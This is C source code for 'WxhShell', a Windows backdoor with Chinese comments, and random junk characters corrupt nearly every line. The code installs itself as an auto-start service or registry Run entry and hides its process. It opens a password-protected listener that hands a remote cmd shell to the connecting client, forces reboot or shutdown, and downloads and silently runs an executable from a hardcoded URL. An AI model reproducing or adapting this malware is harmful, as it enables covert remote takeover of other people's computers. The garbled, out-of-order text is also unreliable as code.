    } z)C}}NH*!@  
    break; #4m5 I="  
    } X6 BIZ  
  // 关机 sR9$=91`  
  case 'd': { !tTv$L>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  ~frsgHW  
    if(Boot(SHUTDOWN)) 68z#9}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sqn>L`Lz  
    else { ?IAu,s*u  
    closesocket(wsh); |V\{U j  
    ExitThread(0);  <)TIj6  
    } qkhre3  
    break; s8,YQ5-  
    } o)5zvnu7  
  // 获取shell twr{jdY9  
  case 's': { ysOf=~ 1  
    CmdShell(wsh); [nxYfER7  
    closesocket(wsh); ~JT2el2W7p  
    ExitThread(0); 8~O#@hB~3  
    break; I]eeV+U8W  
  } +1T>Ob;hk  
  // 退出 g*b`o87PI  
  case 'x': { - 2L(])t6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (@} ^ 3jpT  
    CloseIt(wsh); z~h?"'  
    break; #[M^Q h  
    } ywp_,j9F  
  // 离开 ,Sgo_bC/|  
  case 'q': { &$|~",  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >;Hx<FKxP  
    closesocket(wsh); \YzKEYx+  
    WSACleanup(); : 2%eh  
    exit(1); :(XyiF<Ud  
    break; %EU_OS(u.{  
        } F8?,}5j  
  } f0 g/`j@Up  
  } n@+?tYk*e  
.eIs$  
  // 提示信息 bji#ID2]%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {oY"CZ2  
} >Y4^<!\v  
  } YA@?L!F  
:4zPYG o  
  return; lknj/i5L  
} %BC%fVdP  
E?+~S M1~  
// shell模块句柄 PWS8Dpb  
int CmdShell(SOCKET sock) liYsUmjZ=  
{ Vw w 211  
STARTUPINFO si; Kq")|9=d  
ZeroMemory(&si,sizeof(si)); sP^:*B0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jy:*GW6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !X7z y9  
PROCESS_INFORMATION ProcessInfo; O83J[YuzjN  
char cmdline[]="cmd"; K7 C <}y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I7Kgi3  
  return 0; 0z \KI?kd  
} &5K3AL  
uH$hMg  
// 自身启动模式 !PoyM[Z"f  
int StartFromService(void) ^ q ba<#e  
{ di_UJ~  
typedef struct fZf>>mu@r'  
{ H%m^8yW1  
  DWORD ExitStatus; X$==J St  
  DWORD PebBaseAddress; {P?Ge  
  DWORD AffinityMask; VJ-t #q"  
  DWORD BasePriority; BD]J/o  
  ULONG UniqueProcessId; KLM6#6`  
  ULONG InheritedFromUniqueProcessId; z#RwgSPw6  
}   PROCESS_BASIC_INFORMATION; MX~h>v3_R4  
\ &|xMw[  
PROCNTQSIP NtQueryInformationProcess; 2n>mISy+  
!jl^__ .DR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I`B ZZ-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W= NX$=il  
l1zPL3"u_^  
  HANDLE             hProcess; *H/)S5  
  PROCESS_BASIC_INFORMATION pbi; sB:e:PK  
XC6|<pru  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ww %c+O/  
  if(NULL == hInst ) return 0; DOtz  
H$?MPA-c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W:<2" &7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g&/lyQ+G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "n3n-Y#'  
#vK99 S2  
  if (!NtQueryInformationProcess) return 0; EIzTbW{p  
JT}"CuC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x!I@cP#O  
  if(!hProcess) return 0; ){/n7*#Th%  
t_I-6`8o]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nZj&Ma7R  
c)Q-yPMl)  
  CloseHandle(hProcess); kxe{HxM$Z  
$R ze[3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *RJD^hu  
if(hProcess==NULL) return 0; A\mSS  
SKf;Fe  
HMODULE hMod; ^K`PYai  
char procName[255]; )LG!"~qiz  
unsigned long cbNeeded; )5`^@zx  
_Iy)p{y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oSYJXs  
]p(es,[  
  CloseHandle(hProcess); CA|W4f}  
/!&eP3^  
if(strstr(procName,"services")) return 1; // 以服务启动 `Q+O#l?  
M| }?5NS  
  return 0; // 注册表启动 ow (YgM>t  
} lnl>!z  
8}oe))b  
// 主模块 -{L 7%j|R  
int StartWxhshell(LPSTR lpCmdLine) r8y,$Mv<)0  
{ 'h&>K,U?5  
  SOCKET wsl; f 4K)Z e  
BOOL val=TRUE; meB9 :w[m  
  int port=0; %j2:W\g:  
  struct sockaddr_in door; }cW8B"_"  
hHEn  
  if(wscfg.ws_autoins) Install(); \o,et9zDJ3  
R90chl   
port=atoi(lpCmdLine);  CU\r I  
!x-9A  
if(port<=0) port=wscfg.ws_port; @(/$;I,  
Ei,dO;&  
  WSADATA data; =*(_sW6;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xhyc2DKa_  
6a]Qg99\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nsy>qa7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,uO?f1  
  door.sin_family = AF_INET; |.~2C1 4[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2sBYy 8.r  
  door.sin_port = htons(port); B_c-@kl   
5 a&a-(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r,,*kE  
closesocket(wsl); R=NK3iGTf  
return 1; hNcEBSQ  
} l0!`>Xx[b  
!9C]Fs*`?  
  if(listen(wsl,2) == INVALID_SOCKET) { B&3@b  
closesocket(wsl); >4lA+1JYk  
return 1; ] C_$zbmi  
} /#x0?d {5  
  Wxhshell(wsl); ;cv\v(0  
  WSACleanup(); )1 0aDTlr  
QSYKYgxC  
return 0; `+(JwQC4  
EffU-=?%!  
} Hg]iZ,8?  
%E":Wv  
// 以NT服务方式启动 ac43d`wpK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Em<J{`k6  
{ 5n2}|V$VqP  
DWORD   status = 0; a,t]>z95  
  DWORD   specificError = 0xfffffff; t(^Lh.<a  
7B gA+Fz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QUdF`_U7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u"q!p5P%q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qz A)HDQ  
  serviceStatus.dwWin32ExitCode     = 0; AdF[>Wv  
  serviceStatus.dwServiceSpecificExitCode = 0; TY#pj  
  serviceStatus.dwCheckPoint       = 0; qy!pD R;  
  serviceStatus.dwWaitHint       = 0; )Vy}oFT\  
6:bvq?5a5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xtS0D^  
  if (hServiceStatusHandle==0) return; nza^<DlS  
SP|Dz,o  
status = GetLastError(); V+y:!t`  
  if (status!=NO_ERROR) }?d l.=eq  
{ 1z8AK"8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H?pWyc<,  
    serviceStatus.dwCheckPoint       = 0; X% M*d%n b  
    serviceStatus.dwWaitHint       = 0; nR?m,J  
    serviceStatus.dwWin32ExitCode     = status; ;Uj=rS`Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; (@*#Pn|A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >\ym{@+*  
    return; pc_$,RkN  
  } A$'rT|>se  
9TE-'R@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IPh_QE2g  
  serviceStatus.dwCheckPoint       = 0; (XA]k%45  
  serviceStatus.dwWaitHint       = 0; h,Tsb:Q"M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1QDAfRx  
} (/_Z^m9   
X?]1/6rV  
// 处理NT服务事件,比如:启动、停止 SR 1UO'.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6n.C!,Zmn  
{ ]?2&d[  
switch(fdwControl) S|v-lJ/I  
{ P^ bcc  
case SERVICE_CONTROL_STOP: CbRl/ 68HY  
  serviceStatus.dwWin32ExitCode = 0; 852Bh'u_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qte'f+  
  serviceStatus.dwCheckPoint   = 0; `ZAGseDd~  
  serviceStatus.dwWaitHint     = 0; Y'i_EX|  
  { @7B!(Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y>m=A41:g  
  } & AlX).  
  return; a@WSIcX*W  
case SERVICE_CONTROL_PAUSE: 8h7z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; itIzs99j  
  break; :~]ha  
case SERVICE_CONTROL_CONTINUE: ?)#}Nj<R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K1Wiiw  
  break; ijWn,bj  
case SERVICE_CONTROL_INTERROGATE: ,U/ZG|=v  
  break; j'JNQo;q  
}; DW~< 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;GxKPy  
} '=vD!6=0@  
ng[ZM);  
// 标准应用程序主函数 R`|GBVbv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [2cG 7A  
{ sHulaX{  
b]U%|bp  
// 获取操作系统版本 9ozUg,+Z|J  
OsIsNt=GetOsVer(); p2~MJ LK4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w;Na9tR  
2s@<k1EdPl  
  // 从命令行安装 ZMXIKN9BF#  
  if(strpbrk(lpCmdLine,"iI")) Install(); kC)ye"r  
VDq?,4Kb  
  // 下载执行文件 7*r7Q'  
if(wscfg.ws_downexe) { $n?@zd@53  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,;yiV<AD  
  WinExec(wscfg.ws_filenam,SW_HIDE);  OL|UOG  
} d^WEfH  
[SJ*ks,]  
if(!OsIsNt) { f#UT~/~bL2  
// 如果时win9x,隐藏进程并且设置为注册表启动 }-R|f_2Hp  
HideProc(); Am? dHP  
StartWxhshell(lpCmdLine); W[R o)  
} xTW$9>@\m  
else Y_49UtJIg  
  if(StartFromService()) f?1?$Sp/W  
  // 以服务方式启动 H)5v X+9D  
  StartServiceCtrlDispatcher(DispatchTable); rOu7r4  
else bytAdS$3  
  // 普通方式启动 |};P"&  
  StartWxhshell(lpCmdLine); {1V~`1(w  
)xuvY3BPB?  
return 0; QvH=<$  
} Zg/ra1n  
'J&$L c  
P'6eK?  
4b B)t#  
=========================================== B6iH[dTy_  
@m[r0i0J"  
195m0'zda  
N%\!eHxy  
2\M^ _x$N  
aoh"<I%]>4  
" uMToVk`Uv  
J ;=~QYn[  
#include <stdio.h> W7lR 54%|  
#include <string.h> /MB3w m  
#include <windows.h> O!(M:.  
#include <winsock2.h> Ph'P<h:V  
#include <winsvc.h> kw>W5tNpf:  
#include <urlmon.h> I=)u:l c  
0[JJ  
#pragma comment (lib, "Ws2_32.lib") p ] V  
#pragma comment (lib, "urlmon.lib") [Az<E3H"  
p#UrZKR  
#define MAX_USER   100 // 最大客户端连接数 ?[}r& f  
#define BUF_SOCK   200 // sock buffer ~e5hfZv|w  
#define KEY_BUFF   255 // 输入 buffer ew# t4~hh  
WCc,RI0   
#define REBOOT     0   // 重启 %># VhK  
#define SHUTDOWN   1   // 关机 %(IkUD  
9"3 7va  
#define DEF_PORT   5000 // 监听端口 K"O+`2$  
OsMU>v }m  
#define REG_LEN     16   // 注册表键长度 l.c*, 9  
#define SVC_LEN     80   // NT服务名长度 >weY_%a  
|#);^z_  
// 从dll定义API mX9amS&B$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =1noT)gC R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j>(O1z 7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ) N*,cTE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0L_ JP9e  
O9#8%p% )  
// wxhshell配置信息 _s/ 5oRHA  
struct WSCFG { v&p|9C@  
  int ws_port;         // 监听端口 HrH-e= j  
  char ws_passstr[REG_LEN]; // 口令 RCSG.*%%I  
  int ws_autoins;       // 安装标记, 1=yes 0=no [eebIJs  
  char ws_regname[REG_LEN]; // 注册表键名 [%M=nJ{8  
  char ws_svcname[REG_LEN]; // 服务名 Nv@SpV'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]3xb Q1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (*>%^C?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x$o?ckyH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2 5DXJ b^:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iYi3x_A`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wJs #rkW  
7{%_6b"  
}; );o2e V  
~)X yrKw  
// default Wxhshell configuration Y[l*>}:w  
struct WSCFG wscfg={DEF_PORT, WdEVT,jjh  
    "xuhuanlingzhe", 038|>l-9[  
    1, :C*7 DS  
    "Wxhshell", 50#iC@1  
    "Wxhshell", uHj"nd13  
            "WxhShell Service", OT[&a6_  
    "Wrsky Windows CmdShell Service", o}q>oa b z  
    "Please Input Your Password: ", +{(f@,&~{  
  1, (7l'e=J0  
  "http://www.wrsky.com/wxhshell.exe", A}Q6DHh26  
  "Wxhshell.exe" 1 !N+hf  
    }; .g L%0  
z ;>xI~  
// 消息定义模块 I8R#EM%C#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i^SuVca  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TYv'#{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J?]wA1  
char *msg_ws_ext="\n\rExit."; I!FIV^}Z(  
char *msg_ws_end="\n\rQuit."; 3K2B7loD)~  
char *msg_ws_boot="\n\rReboot..."; y:t@X~  
char *msg_ws_poff="\n\rShutdown..."; v?Z30?_&h  
char *msg_ws_down="\n\rSave to "; F xek#  
|$*1!pL-QP  
char *msg_ws_err="\n\rErr!"; d??;r:  
char *msg_ws_ok="\n\rOK!"; dwd5P7  
<$6r1y*G  
char ExeFile[MAX_PATH]; {k CCpU  
int nUser = 0; a_jw4"Sb  
HANDLE handles[MAX_USER]; |\/`YRg>  
int OsIsNt; gEghDO_G  
00jWs@K  
SERVICE_STATUS       serviceStatus; Q&j-a;L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z TYHwx  
+ZFw3KEkz  
// 函数声明 #m x4pf{  
int Install(void); ='!E;  
int Uninstall(void); muh[wo  
int DownloadFile(char *sURL, SOCKET wsh); = <yMB d\  
int Boot(int flag); tB S+?N  
void HideProc(void); BlwAD  
int GetOsVer(void); +,7nsWV  
int Wxhshell(SOCKET wsl); yx0wR  
void TalkWithClient(void *cs); PIk2mX/D_6  
int CmdShell(SOCKET sock); in-|",O`Z  
int StartFromService(void); tu5g> qb  
int StartWxhshell(LPSTR lpCmdLine); " pg5w  
~e|RVY,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }W2FF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;Gc,-BDFw  
/g/]Q^  
// 数据结构和表定义 |/^ KFY"  
SERVICE_TABLE_ENTRY DispatchTable[] = +2:\oy}!8  
{ 'e&L53n  
{wscfg.ws_svcname, NTServiceMain}, p.wed% O.  
{NULL, NULL} bwrM%BL  
}; #)}K,FDd  
7:[u.cd  
// 自我安装 s#Os?Q?  
int Install(void) s2Z'_r T  
{ #:B14E  
  char svExeFile[MAX_PATH]; )RUx  
  HKEY key; ` nd/N#  
  strcpy(svExeFile,ExeFile); 77 g<`}{  
[3K& cX}B  
// 如果是win9x系统,修改注册表设为自启动 pc/x&VY%  
if(!OsIsNt) { \#50; 8VJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~F [V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %C[#:>'+  
  RegCloseKey(key); RSfB9)3D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + d?p? v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ke2zxX2 f  
  RegCloseKey(key); U/}("i![Dy  
  return 0; V ,+&.A23  
    } ttP|}|O  
  } ! 3 ;;6  
} Vs1H)T%  
else { PJfADB7Y  
XE#a#  
// 如果是NT以上系统,安装为系统服务 plNoI1st  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8}M-b6R V  
if (schSCManager!=0) MnL o{G]  
{ *x!j:/S`n  
  SC_HANDLE schService = CreateService B~ ?R 6  
  ( L`2(u!i J  
  schSCManager, t.rlC5 k  
  wscfg.ws_svcname, XY`{F.2h  
  wscfg.ws_svcdisp, SO|!x}GfI  
  SERVICE_ALL_ACCESS, 9q/k,g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fw&cv9X(IU  
  SERVICE_AUTO_START, F ,;B  
  SERVICE_ERROR_NORMAL, YD9|2S!G  
  svExeFile, @vc9L  
  NULL, <lkt'iT=Sz  
  NULL, A!$;pwn0  
  NULL, 2%?Kc]JY9  
  NULL, $x~U&a  
  NULL gB_gjn\  
  ); w,T-vf  
  if (schService!=0) WJlJD*3  
  { 7_9^nDU  
  CloseServiceHandle(schService); r@t \a+  
  CloseServiceHandle(schSCManager); 2tw3 =)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9]L4`.HM  
  strcat(svExeFile,wscfg.ws_svcname); o[aP+O Md  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9oj#5Hq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Leu6kPk  
  RegCloseKey(key); oA*88c+{f  
  return 0; A(D>Zh6o@  
    } u?4d<%5R!  
  } @?n~v^  
  CloseServiceHandle(schSCManager); r1&eA%eh  
} iBPIj;,  
} *ZkOZ  
$jg~ a  
return 1; ]>/oo=E  
} "8$Muwm  
Pk3b#$+E  
// 自我卸载 ^/ff)'.J  
int Uninstall(void) :@b=;  
{ t`- [  
  HKEY key; 'WNq/z"X  
tjLG$M1z`  
if(!OsIsNt) { v8"Zru  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z8dBfA<z  
  RegDeleteValue(key,wscfg.ws_regname); 'F%h]4|1  
  RegCloseKey(key); /g>]J70  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X Z=%XB:?  
  RegDeleteValue(key,wscfg.ws_regname); M?00n< vM  
  RegCloseKey(key); =B{B ?B"r  
  return 0; \"a~~Koe  
  } );/p[Fd2]  
} 3:aj8F2  
} "sSY[6Kp!  
else { jL{k!V`s  
84lT# ^q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &s{d r  
if (schSCManager!=0) U6F7dT  
{ sis1Dh9:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c;,-I  
  if (schService!=0) '5lwlF  
  { (sW$2a  
  if(DeleteService(schService)!=0) { mKLWz1GZ  
  CloseServiceHandle(schService); hZ|8mV  
  CloseServiceHandle(schSCManager); % kaV ?j  
  return 0; M_O)w^ '  
  } ~#dfZa&   
  CloseServiceHandle(schService); {t*CSI  
  } $3S`A]xO  
  CloseServiceHandle(schSCManager); 9T\\hM)k  
} Gb4p "3  
} J'%W_?wZ  
z:8ieJ)C  
return 1; x21XzGLY|}  
} GM Y[Gd  
<Zo{D |hW  
// 从指定url下载文件 gDjAnz#  
int DownloadFile(char *sURL, SOCKET wsh) $Ji;zR4,  
{ ,*sKr)9)  
  HRESULT hr; b"2_EnE}1  
char seps[]= "/"; ' ,1[rWyc  
char *token; _4 YT2k  
char *file; Qoa&]]  
char myURL[MAX_PATH]; uvRX{q 4  
char myFILE[MAX_PATH]; Eb8~i_B-  
1XpqnyL&  
strcpy(myURL,sURL); $T_>WUiK  
  token=strtok(myURL,seps); iX6*OEl/Q  
  while(token!=NULL) @,{Qa!A>l  
  { O<J<)_W)  
    file=token; ,va2:V  
  token=strtok(NULL,seps); ~uG/F?= Q:  
  } q#F+^)DD [  
hT% >)71  
GetCurrentDirectory(MAX_PATH,myFILE); ~wu\j][2  
strcat(myFILE, "\\"); QJ%N80  
strcat(myFILE, file);  O[$XgPM  
  send(wsh,myFILE,strlen(myFILE),0); w ^ X@PpP  
send(wsh,"...",3,0); /vPr^Wv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^SbxClUfw!  
  if(hr==S_OK) s)+] pxV0-  
return 0; e35")z~  
else ^}UFtL i  
return 1; ny0]Q@  
P=a&>i  
} wjTW{Bg~G  
^[6#Kw&E  
// 系统电源模块 (ylZ[M&B:  
int Boot(int flag) iM$iZ;Tp  
{ +fHqGZ]  
  HANDLE hToken; vcZ"4%w  
  TOKEN_PRIVILEGES tkp; Y=/;7T  
4m%Yck{R  
  if(OsIsNt) { s6DPb_,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xiVbVr#[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #+ {%>f  
    tkp.PrivilegeCount = 1; KvjH\;78  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \1eWI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dFZh1*1  
if(flag==REBOOT) { O4!!*0(+91  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _y:a Pn  
  return 0; \okvL2:!  
} Z ?ATWCa  
else { aqgm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2gW+&5; 4  
  return 0; EiS2-Uh*TT  
} z3M6<.K  
  } ?[.g~DK,  
  else { O`_]n  
if(flag==REBOOT) { 16"L;r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k;<F33v;Mh  
  return 0; xv7nChB  
} /px`FuJI(  
else { +D?Re%HI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &-KQ m20n  
  return 0; {~V_6wY g  
} X=VaBy4#  
} 4rypT-%^;  
GXR7Ug}k  
return 1; \,G19o}`Es  
} '<h@h*R  
-AXMT3p=1  
// win9x进程隐藏模块 ||;a#FZ^  
void HideProc(void) ~Q)Dcit-  
{ 0{u#{_  
BQ {'r^u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2\#~%D>[  
  if ( hKernel != NULL ) xw3A|Aj?r  
  { XeozRfk%J|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 787}s`,}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { /Gm|*e{  
    FreeLibrary(hKernel);  W|6.gN]  
  } uvA2`%T/  
$KmE9Se6,  
return; nz`"f,  
} D[(T--LLT  
nN(Q}bF  
// 获取操作系统版本 ;z o?o t/  
int GetOsVer(void) HqA3.<=F,  
{ ?e23[  
  OSVERSIONINFO winfo; h}%yG{'/M=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gWy2E;"a  
  GetVersionEx(&winfo); [jF\"#A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $I a-go2W  
  return 1; ^Y^5 @ x=  
  else NmV][0(BS  
  return 0; 9|hPl-. .W  
} ]2xoeNF/W{  
{N0ky=u d  
// 客户端句柄模块 cWa> rUsF  
int Wxhshell(SOCKET wsl) gC/-7/}  
{ #~[mn_C  
  SOCKET wsh; <PQ[N[SU  
  struct sockaddr_in client; \JGRd8S[  
  DWORD myID; mGUl/.;yp-  
pl.=u0 *  
  while(nUser<MAX_USER) <~Tfi*^+  
{ 7@i2Mz/eV  
  int nSize=sizeof(client); [oS.B\Vc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }u~r.=  
  if(wsh==INVALID_SOCKET) return 1; ?Tk4Vt  
)h(yh50 B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g$S<_$Iey  
if(handles[nUser]==0) U=UnE"h  
  closesocket(wsh); Xu\22/Co  
else LWP&Si*j  
  nUser++; ?T:$:IHw  
  } O[#B906JB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <*&2b  
cWL 7gv\|  
  return 0; {%z}CTf#  
} hH@pA:`s  
+yu^Z*_  
// 关闭 socket |y7#D9m  
void CloseIt(SOCKET wsh) %LZf= `:(  
{ d:=:l?  
closesocket(wsh); wB W]w  
nUser--; PRF^<%mkI  
ExitThread(0); ~ TALpd  
} "G!V?~;  
:#p!&Fi  
// 客户端请求句柄 tL@m5M%:N2  
void TalkWithClient(void *cs) N @sVA%L.  
{ -%)8=  
rDWqJ<8  
  SOCKET wsh=(SOCKET)cs; ic|>JX$G  
  char pwd[SVC_LEN]; } g[(h=Qi  
  char cmd[KEY_BUFF]; NYZI;P1DA  
char chr[1]; 8fs::}0  
int i,j; %+Khj@aX  
4U1"F 7'  
  while (nUser < MAX_USER) { {piZm12q?  
kzb1iBe 6m  
if(wscfg.ws_passstr) { iG;GAw|E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xa32p_|5~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z|>f*Z  
  //ZeroMemory(pwd,KEY_BUFF); KwuNHK)-  
      i=0; ni x1_Wo;  
  while(i<SVC_LEN) { &tE#1<k  
>P\/\xL=  
  // 设置超时 5%6r,?/7KM  
  fd_set FdRead; lGP'OY"Q  
  struct timeval TimeOut; UBxQ4)%  
  FD_ZERO(&FdRead); ~2*8pb 4  
  FD_SET(wsh,&FdRead); gT6@0ANq  
  TimeOut.tv_sec=8; .EUOKPK4W  
  TimeOut.tv_usec=0; YG6Kvc6T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (eAh8^)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UZ+FV;<  
SpUcrK;1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M0zlB{eH  
  pwd=chr[0]; /0H39]y!~  
  if(chr[0]==0xd || chr[0]==0xa) { ROHr%'owgL  
  pwd=0; ,4%'~8'3  
  break; $?u ^hMU=  
  } i bwnK?ZA  
  i++; Ka\%kB>*`  
    } SggS8$a`  
fX2PteA0qX  
  // 如果是非法用户,关闭 socket S?_ ;$Cn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AyMMr_q  
} hol54)7$3:  
Ng3MfbFG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UN}jpu<h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xdH*[  
]OOL4=b  
while(1) { 0oi =}lV  
\'40u|f  
  ZeroMemory(cmd,KEY_BUFF); 6 4da~SEn  
Y@Kp'+t(!  
      // 自动支持客户端 telnet标准   m ,U`hPJ  
  j=0; @"#W\m8  
  while(j<KEY_BUFF) { 6"W~%FSJX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 43Yav+G(+  
  cmd[j]=chr[0]; 'L2M  W  
  if(chr[0]==0xa || chr[0]==0xd) { 81|Xg5g)b  
  cmd[j]=0; ]S~Z8T-[  
  break; Dyj5a($9"{  
  } \5_7!.  
  j++; &@xixbg  
    } U/oncC5  
4yH=dl4=44  
  // 下载文件 ArUGa(; f  
  if(strstr(cmd,"http://")) { WoiK _Ud  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D`lTP(] y  
